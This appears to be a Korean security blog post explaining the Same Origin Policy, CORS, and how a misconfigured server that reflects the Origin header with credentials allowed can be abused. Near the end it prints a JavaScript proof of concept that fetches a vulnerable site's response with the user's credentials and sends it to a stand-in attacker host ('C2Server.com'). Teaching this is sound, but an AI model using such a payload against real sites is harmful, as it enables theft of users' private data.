SOP / CORS

SOP

SOP는 Same Origin Policy의 약어로 웹 브라우저에서 사용되는 정책이자 보안 기능입니다.

이 정책의 근본적인 탄생 배경은 신뢰되지 않는 출처에서

브라우저의 쿠키 등을 탈취하는 공격에 방어하기 위함입니다.

만약 다른 출처 간의 신뢰성 검증 없이 데이터 전송을 허가한다면

아래 다이어그램과 같이 악성 링크를 전달하는 것만으로도 사용자의 민감 데이터를 탈취할 수 있습니다.

1. 공격자가 사용자에게 www.attack.com에 접속하도록 유도

2. 사용자가 www.attack.com에 접속

3. www.example.com으로부터 쿠키 값을 가져오도록 작성된 스크립트 실행

4. www.example.com은 사용자의 쿠키를 www.attack.com에 반환

5. 공격자는 사용자의 쿠키 탈취

https://jaehyeon48.github.io/web/sop-and-cors/

기본적으로 브라우저에서 서로 다른 URL 간의 출처가 같은지를 검증하는 방법은

Schema, Host, Port 항목을 비교하는 것입니다.

이 세가지 기준에서 하나라도 일치하지 않는다면 서로 다른 출처라고 판단합니다.

아래의 표에서 보는 것과 같이 동일한 출처로 허용하는 기준은 상당히 엄격한 것이 확인됩니다.

Origin 1	Origin 2	일치 여부
http://example.com	https://example.com	X
http://example.com	http://hi.example.com	X
http://example.com	http://example.com:8080	X
http://example.com	http://example.com	O

하지만 정책이 엄격할 수록 보안 기능은 향상되지만, 편의성은 떨어지기 마련입니다.

같은 출처간의 데이터 교환만 허가하는 SOP는 개발자들의 개발 편의성을 저해하며

개발 시간을 줄여주는 소스나 자료 등을 쉽게 가져오지 못하게 됩니다.

CORS

위와 같이 SOP는 보안 기능은 보장되지만, 정작 중요한 개발 환경에 제약을 줄 수 있습니다.

그래서 보안 기능을 어느정도 가져가면서도 다른 출처에서의 리소스나 데이터 등을

송수신 하기 위해서 나온 정책이 CORS입니다.

CORS는 Cross Origin Resource Sharing의 약어로 교차 출처 간 리소스 공유를 뜻합니다.

https://jaehyeon48.github.io/web/sop-and-cors/

서버는 신뢰할 수 있는 출처가 리소스를 요청할 때, 그 출처를 허가하기 위해서

Access Control Allow Origin 헤더에 미리 출처를 입력합니다.

리소스를 요청하는 출처에서는 리소스 요청 패킷의 Origin 헤더에 현재 출처가 기입되는데,

이때 서버의 ACAO에 기입된 출처에 포함되지 않을 경우 요청이 차단됩니다.

1. 공격자가 사용자에게 www.attack.com에 접속하도록 유도

2. 사용자가 www.attack.com에 접속

3. www.example.com으로부터 쿠키 값을 가져오도록 작성된 스크립트 실행

4. www.example.com은 ACAO 목록에서 www.attack.com이 존재하는지 확인

5. ACAO 목록에 유효하지 않은 요청일 경우 요청 폐기

CORS Abuse

하지만 개발자들은 또다시 ACAO 목록에 하나씩 출처를 기입하는게 번거로워집니다.

그래서 출처를 허용하는 ACAO 헤더에 와일드카드 * 를 사용하여

리소스를 요청하는 모든 출처를 허용하는 경우가 많습니다.

이렇게 될 경우 사실상 CORS가 있으나 마나 하게 되며, 공격자의 출처로부터 전송된 요청도

와일드카드에 의해서 정상적으로 리소스 반환이 이루어집니다.

그래서 브라우저 정책에서는 와일드카드의 사용은 허용하나, 와일드카드를 사용할 경우

ACAC는 False가 강제적으로 설정되게끔 조치합니다.

ACAC는 Access Control Allow Credentials로, 쿠키, 인증 정보(자격 증명) 등을 전달할 수 있는지

판단하는 헤더로 True일 경우 요청을 허용하고 False일 경우 요청을 불허합니다.

https://likethefirst.tistory.com/entry/2-1-%EC%B7%A8%EC%95%BD%ED%95%9C-CORS-%EC%9C%A0%ED%98%95-1-%EB%B0%98%EC%82%AC%EB%90%9C-ACAO-%EB%B0%8F-True-ACAC

개발자들은 ACAO를 직접 명시하기도 싫고, 쿠키나 인증 정보 또한 전송하고 싶어합니다.

하지만 ACAO에 와일드카드를 사용할 경우 ACAC가 강제적으로 False로 설정되기 때문에

요청 패킷의 Origin 헤더에서 전송된 데이터를 그대로 ACAO에 등록하여

서버로 들어오는 모든 도메인으로부터의 리소스 요청을 허용하게 만드는 경우가 있습니다.

Origin 헤더의 값을 변경함에 따라 응답 패킷의 ACAO 헤더 값이 동일하게 반환된다면

XSS를 통한 민감 데이터 탈취 시나리오가 가능할 수 있습니다.

공격자는 악성 자바스크립트 코드를 작성한 웹 페이지를 Replit 등으로 개설한 뒤,

리다이렉션 된 서버로부터 GET 응답을 받을 임시 서버를 만들어 데이터를 탈취할 수 있습니다.

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get', 'https://vuln.com', true);
req.withCredentials = true;
req.send();

function reqListener() {
    if (typeof this.responseText === 'string') {
        location = 'https://C2Server.com/log?key=' + encodeURIComponent(this.responseText);
    }
    else if (this.response && typeof this.response === 'object') {
        const jsonData = JSON.stringify(this.response);
        location = 'https://C2Server.com/log?key=' + encodeURIComponent(jsonData);
    }
}

자바스크립트 악성 코드는 위와 같이 간단한 코드를 이용합니다.

req.open 필드에는 취약한 서버를, location에는 데이터를 받을 공격자 서버를 입력합니다.

References

동일 출처 정책(SOP)과 CORS

2-1. 취약한 CORS 유형 (1) - 반사된 ACAO 및 True ACACTISTORY